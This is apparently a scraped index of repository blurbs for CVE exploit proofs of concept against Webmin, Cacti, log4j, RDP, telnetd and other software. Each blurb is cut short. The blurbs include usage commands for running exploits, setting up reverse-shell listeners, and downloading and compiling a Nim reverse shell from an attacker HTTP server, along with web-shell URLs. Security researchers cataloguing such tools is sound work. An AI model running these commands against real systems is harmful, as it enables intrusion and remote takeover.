CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script A short and sweet simple exploit script for the CVE-2012-2982 Authenticated RCE vulnerability in the /file/show.cgi/bin endpoint. Webmin RCE Exploit — CVE-2012-2982 This repository contains a Python proof-of-concept exploit for Webmin 🧠 Notes Payload defaults to a bas...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE Single target python3 CVE-2026-21962.py http://target:7001 -c "whoami" Batch + default whoami python3 CVE-2026-21962.py -f url.txt Batch + custom command + change thread count python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt Reverse she...

CVE-2022-46169

CVE-2022-46169 POC This is a Proof of Concept POC script for the CVE-2022-46169 vulnerability that affects Cacti version 1.2.22. Description The CVE-2022-46169 vulnerability allows an unauthenticated command injection in Cacti versions through 1.2.22 in order to achieve unauthenticated remote cod...

CVE-2021-30461

Impacted Products VoIPmonitor 24.60 How to RCE python3 CVE-2021-30461.py -t ipaddress Browser shell: http://x.x.x.x/namrlblgel.php?a=whoami Reference https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

scan-cve-2026-24061

CVE-2026-24061 Scanner – GNU inetutils telnetd Auth Bypass ⚠️ VERY IMPORTANT LEGAL NOTICE ⚠️ This tool is exclusively for educational purposes, security research, vulnerability analysis, and authorized testing. Any unauthorized use against systems you do not own or do not have explicit written...

CVE-2026-73570

CVE-2026-73570 PoC - SMTP Command Injection Tester A custom, low-level Python proof-of-concept PoC script for testing SMTP command injection vulnerabilities CVE-2026-73570. This tool sends a malformed RCPT TO address containing shell-style command substitution e.g., $command to determine if the...

CVE-2018-14699

CVE-2018-14699 UnAuth Command injection in the enableuser function of DroboAccess v2.1 Usage: To use First startup a listener ncat -nvlp 1337 Next run the exploit example: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='host for exploitation, ex...

CVE-2021-44228-demo

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

CVE-2019-0708-POC

CVE-2019-0708-POC Working proof of concept for CVE-2019-0708, spawns remote shell. Run with python3, Example python3 CVE-2019-0708-windows.py Different versions are required for linux and Windows. Obfuscated for obvious reasons...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Example: sudo apt install nim update the script accordingly nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler...

CVE-2026-59310

CVE-2026-59310 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

CVE-2022-41544

CVE-2022-41544 Exploit Script This repository contains a script to exploit CVE-2022-41544 vulnerability in GetSimple CMS. The script performs several steps to check for vulnerabilities, leak API keys, set cookies, obtain CSRF tokens, upload a shell, and trigger the shell. Changes and Improvements...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 exploit written in python to get reverse shell...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP can successfully get a reverse shell This article and tool are for technical sharing only. Strictly prohibited for illegal use. Any consequences arising from misuse shall be borne by the user. Trigger Command Execution EXP 1. Start RMI listener on VPS port 9999...

CVE-2026-53365

CVE-2026-53365 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

CVE-2022-46169

CVE-2022-41343 🐍 Python Exploit for CVE-2022-46169 Staged Reverse Shell for Cacti = 1.2.22 Example cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callback Port options: -...

poc-rebar3

Rebar3 shell injection CVE-2020-13802 Proof of concept git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean Credit Alexey Pronin @vulnbe References Rebar3 vulnerability analysis Vulnerability remediation PR CVE-2020-13802 CWE-78: Improper Neutralization of Special Element...

CVE-2023-38831_Exploit

CVE-2023-38831 Exploit Proof-of-Concept Overview This repository contains a Python script that demonstrates a proof-of-concept PoC exploit for CVE-2023-38831. This exploit leverages a vulnerability in specific file-processing mechanisms to execute a reverse shell payload through a malicious RAR...

CVE-2024-32002

CVE-2024-32002 A Reverse shell generator for gitlab-shell vulnerability cve 2024-32002 This is still in the testing phase and I will update it once done...